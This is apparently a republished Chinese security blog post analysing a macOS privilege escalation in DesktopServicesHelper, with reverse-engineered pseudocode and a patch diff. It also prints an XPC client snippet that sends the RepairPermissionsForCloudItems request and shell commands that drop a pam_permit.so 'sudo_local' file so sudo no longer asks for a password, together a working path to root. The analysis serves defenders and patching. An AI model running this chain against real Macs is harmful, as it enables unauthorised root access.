文章总结: 本文分析macOS提权漏洞CVE-2026-43783,影响DesktopServicesHelper组件,源于XPC请求RepairPermissionsForCloudItems未校验路径,存在CWE-362竞态条件,沙盒内恶意应用可对任意路径执行fchown改属主,实现本地提权至root并绕过sudo认证。CVSS7.8,POC已公开,建议升级至macOSTahoe26.6修复版本。
综合评分: 85
文章分类: 漏洞分析,应急响应
macOS公布提权漏洞CVE-2026-43783(POC已公开)
YGnight
YGnight
night安全
2026年9月20日 08:00
四川
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一、漏洞描述
前段时间macOS被公布了一个提权漏洞,漏洞编号是CVE-2026-43783,目前POC已经被公开了,对poc简单分析了一下,梳理出了这篇文章。Finder 碰到要抬权限的文件操作,比如移动、改权限,自己不动手,交给 DesktopServicesHelper 去干。这个进程跑在 root 下。
| | |
| — | — |
| CVE 编号 | CVE-2026-43783 |
| 影响组件 | macOS DesktopServices,对外进程为 DesktopServicesHelper |
| 受影响版本 | 低于 macOS Tahoe 26.6 |
| 修复版本 | macOS Tahoe 26.6,2026 年 7 月 27 日发布 |
| 漏洞类型 | 本地提权至 root,CWE-362 |
| 苹果公告描述 | 竞态,通过改进加锁解决;恶意应用可能取得 root 权限 |
| 公开技术分析 | XPC 请求 RepairPermissionsForCloudItems 未校验路径,可对任意路径执行改属主 |
| 触发条件 | 本机运行中的程序,需处于 App Sandbox 内 |
| 利用结果 | 普通用户取得 root 权限,sudo 认证被绕过 |
| CVSS | 7.8,AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,苹果给出的分值 |
| 在野利用 | 公开情报中暂无已观测到的在野利用记录,PoC 已公开 |
二、漏洞原理
客户端发来的消息先进分发函数。函数取出 request 字段,也就是要执行的命令名。
接着判断连接方是否处于沙盒内。sandbox_check_by_audit_token 返回非零说明在沙盒内,命令名要对白名单,命中才放行。
不在沙盒内的改查 com.apple.private.tcc.allow 授权,取值需为 kTCCServiceSystemPolicyAllFiles,查不到进程就自行结束。
白名单这七个名字里,多数要么空转,要么后面还挂着各自的授权门槛。RepairPermissionsForCloudItems 后面直接就是干活的代码。
处理函数取出消息里的 Paths 键,用 NSKeyedUnarchiver 反解成字符串数组,反解出来的每一个路径都要过一遍判断。
判断靠 lstat 拿属性,属主跟调用方的 UID 对不上就认定需要修。修的动作是 fchown,把属主改成调用方的 UID。
按公开逆向结果还原,非苹果官方源码。
// 第一步,判断这条路径要不要修stat = lstat(path)if (stat.st_uid != caller_uid) → 需要修// 第二步,真修fd = open(path)fstat(fd, &st)if (st.st_uid != caller_uid) fchown(fd, caller_uid, st.st_gid) // 传入路径不做校验close(fd)// 目录则逐层下探,每一项都吃一次 fchownif (st.st_mode & 0xF000) == 0x4000 for 每一项: 递归调用自身
路径是否落在 iCloud 目录里,全程没人问。
客户端这边做的事很少。连上服务,把路径数组归档塞进 Paths,request 字段写上命令名,发出去即可。
xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0);xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {});xpc_connection_resume(conn);NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems");xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);xpc_connection_send_message_with_reply_sync(conn, msg);
拿到 /private/etc/pam.d 的属主,往里写个 sudo_local,内容一行 pam_permit.so。sudo 读配置时先读它,该模块一律放行。
PAM_DIR="/private/etc/pam.d"# 该目录原本属 root:wheel,改完属主后普通用户可写echo 'auth sufficient pam_permit.so' > "$PAM_DIR/sudo_local"chmod 644 "$PAM_DIR/sudo_local"sudo id # 不再询问密码
26.6 在处理函数开头补了一道授权检查,授权名 com.apple.private.desktopservices.cloud-repair-perm。函数其余未做改动。
// RepairPermissionsForCloudItems 处理函数开头,26.6 新增if ( (sub_100034110(a1: v5, a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 ){ sub_100034250(a1: v5, a2: v22); // 无此授权则进程退出}
沙盒在这条链里的位置有点反常。服务默认不放沙盒外的进程进来,沙盒反倒成了放行的凭据。
三、修复建议
处置动作是升级到 macOS Tahoe 26.6。
近期值得重点关注的漏洞预警
【紧急漏洞预警】nacos爆出权限绕过漏洞,可以创建管理员账户,经过分析有点出处(已复现,exp脚本已编写)
Node.js模块proxy-addr爆出严重漏洞CVE-2026-90711
Langflow爆出代码执行漏洞CVE-2026-17633 (POC已公开)
Apache CVE-2026-42536,补它只用一行,洞龄十四年
【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990 ,已被在野利用
【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)
【紧急】JumpServer堡垒机被公布Access Key泄露漏洞,可以实现提权
Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话
【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次,root就到手了
13 行补丁,堵住Linux能拿 root 的内核洞(EXP已公开)
48 字节,换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)
【漏洞预警】linux删个网桥就能提权root?目前没有补丁(POC已公开)
【漏洞预警】自己注册个号,就能搬空别人的 Magento 订单和支付卡(POC已公开)
【漏洞预警】Next.js 爆出新漏洞,不用登录实现命令执行(POC已公开)
【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞,EXP已公开
【漏洞补丁绕过】超 30 万 WordPress 站点受影响,Forminator 文件上传漏洞(附POC)
【漏洞预警】Exchange爆出RCE漏洞,利用Exchange 帮另一台 Exchange 开门(POC已公开)
【漏洞预警】不用登录,一个请求就能让 GeoServer 乖乖执行命令(POC已公开)
【漏洞预警】Keycloak不登录就能接管任意账户,双重验证也拦不住
【漏洞预警】 8月WebLogic公布了9个漏洞,有一个需要重点关注
【漏洞预警】近期MongoDB 公布了5个漏洞,最严重的一个可以不认证、远程就能拿下你电脑
【0DAY漏洞】 全球5G手机芯片厂商之一的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁
【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)
【漏洞预警】不用输密码,对方已经接管你的Mac:官方补丁公布macOS存在未鉴权RCE漏洞
【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链:最低 USAGE 权限就能远程执行命令
VMware 爆 5 个洞,两个 9.8 不用密码就能打穿 vCente
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:night安全 YGnight
YGnight《macOS公布提权漏洞CVE-2026-43783(POC已公开)》